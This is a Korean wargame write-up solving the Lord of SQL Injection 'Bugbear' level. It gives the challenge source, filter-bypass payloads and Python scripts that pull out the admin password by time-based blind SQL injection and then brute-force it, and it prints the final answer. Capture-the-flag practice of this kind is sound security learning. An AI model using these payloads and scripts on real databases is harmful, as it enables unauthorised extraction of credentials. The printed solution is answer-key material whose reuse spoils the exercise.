Bugbear Write-up

Ccr3t·2025년 8월 2일
0

Wargame

목록 보기
32/55

[Solved in under 1 hour 27 minutes]

뭔가 union 사용해서 푸는 SQL Injection 문제를 정말 조금밖에 풀어 본 적 없어서 그런 분류의 문제를 풀고 싶은데 죄도 Time-based다.. 언제쯤 나올까

일단 가자

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

전 문제인 Darkknight와 매우 유사하지만 추가된 필터링이 있다.
or, and, 공백, like 를 생각하자.

일단 간단하게 코드를 정리하자면 위의 쿼리에서는 id='guest' 고정에다가 인자를 pw, no를 받고 아래의 쿼리에서는 id='admin' 고정에 인자를 pw를 받는다.
$result['pw']) && ($result['pw'] == $_GET['pw'] 로 인해서 pw값의 유무와 그 값이 DB에 저장된 pw와 같은지 검증하기 때문에 무조건 pw값을 알아야 한다.

그리고 필터링은
싱글쿼터, substr, ascii, =, or, and, 공백, like, 헥사값 을 받으니 주의 하도록 하자.

pw값을 알아야 하니 Time-based 가 가능한지 유무부터 확인하자

1 or sleep(3) # 이거를 넣으면 되는데 필터링이 있으니 우회를 하면

SQL Injection filter bypass

1%0b||%0bsleep(3)%0b%23 가 된다

바로 삽입해보자

?no=1%0b||%0bsleep(3)%0b%23

잘 먹히는 것을 알 수 있다.

이제 본격적으로 비밀번호를 알아 내면 되는데

간단하게 생각해보자.

1 or (substr(1,pw,1)='0~Z' and sleep(3)) #

이거다 그런데 이전에 있던 필터링을 우회하면

공백 -> %0b
or -> ||
substr -> mid
'0~Z' -> char()
and -> &&

이렇게 될 것이다.

바꿔서 넣어주면

1 || (mid(pw,i,1) in (char(test)) %26%26 sleep(3)) %23

여기서 공백을 우회해서 삽입하면

1%0b||%0bmid(pw,i,1)%0bin%0b(char(test))%0b%26%26%0bsleep(3))%0b%23

될 것인데 이거를 가지고 기존에 만들었던 코드를 조금 수정하면

안되는거임? 뭐지 싶어서 필터링이랑 문법이랑 틀린거 없나 계속 확인하다가

왜 안되지 싶어서 머리로는 도저히 이해가 안가서 직접 삽입해봤는데 하 ㅋㅋ 저걸 어캐 찾노 하 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

여러분들도 무조건 하다가 이상하다 싶으면 그냥 직접 때려 보십쇼..

ord -> or 문자열 필터링에 걸림 -40분
26%26 -> 인코딩에러 - 20분

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 이게 뭔가 싶지만 URL 인코딩 넣어서 푸는 문제는 이런 실수가 의외로 많답니다..

다시 코드 수정해서 삽입하면

import requests
import time

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookie = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}

charset = '0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ'

pw_len_result = ''
result_all = ''

print("PW 길이 찾기 요이땅!")

for pw_len in range(1, 33):
    len_payload = f"1%0b||%0bif(length(pw)%0bin%0b({pw_len}),%0bsleep(3),%0b0)%0b%23"
    url_len_payload = f"{url}?no={len_payload}"
    
    len_start = time.time()
    len_response = requests.get(url_len_payload, cookies=cookie)
    len_found_time = time.time() - len_start
    
    if len_found_time > 2:
        pw_len_result = pw_len
        print(f"PW 길이 : {pw_len}")
        break

print("PW 값 찾기 요이땅!")

if pw_len_result:
    for i in range(1, pw_len_result + 1):
        result = []
        for char in charset:
            code = ord(char)
            
            payload = f"1%0b||%0b(binary%0bmid(pw,{i},1)%0bin%0b(char({code}))%0b%26%26%0bsleep(3))%0b%23"
            url_payload = f"{url}?no={payload}"
            
            start = time.time()
            response = requests.get(url_payload, cookies=cookie)
            found_time = time.time() - start

            if found_time > 2:
                result += char
                print(f"PW 값 {i}번째 : {char}")
        
        if len(result) == 1:   
            result_all += result[0]
        elif len(result) > 1:
            result_all += f"[{''.join(result)}]"
        else:
            print("다시 돌려라.")
        
else:
    print("PW 길이 못 찾았다. 다시 돌려라.")
    
print(f"PW 값 {pw_len_result}자리  : {result_all}")

값이 잘 뽑히는데 또 두자리씩 나오니 경우의수 다 때려 넣는 Brute-force 하나 더 만들어주고

import requests
import itertools
import re

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID': '2muvd8j8ma8a1pskahcsptdrcq'}

user_input = "[5f][2j]d[cg][3a][09]9[14]"

tokens = re.findall(r'\[([^\[\]]+)\]|([^\[\]])', user_input)

char_sets = [list(t[0]) if t[0] else [t[1]] for t in tokens]

combinations = itertools.product(*char_sets)

for combo in combinations:
    pw = ''.join(combo)
    res = requests.get(url, params={'pw': pw}, cookies=cookies)

    if "clear" in res.text.lower():
        print(f"[+] Found: {pw}")
        break

때려박으니 답이 나왔다..

이제는 두개씩 뜨는거 당연시 여기게 되었다..

바로 pw값을 넣어보면

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

?pw=52dc3991

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

잘 되는 것이 확인된다..!

처음에 ord 썼었는데 이게 왜 안되는지 40분동안 모르고 있다가 어? 'or'd 네 아 씹 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ이러면서 기가 차더라 그리고 난 이후에도 26%26 이녀석때문에 20분 날라가고 ㅜㅜㅜㅜㅜㅜ 역시 SQL Injection은 맨땅에 헤딩이 맞는 녀석이다..

재밌지만 화난다.. 그래도 좋다 언젠간 다 돌아오겠지~

LoS(Lord of SQL Injection) Bugbear Write-up

이상 보고 끝!

profile
웹해킹을 잘 못 하지만 좋아 하려고 노력하는 한 젊은이.

0개의 댓글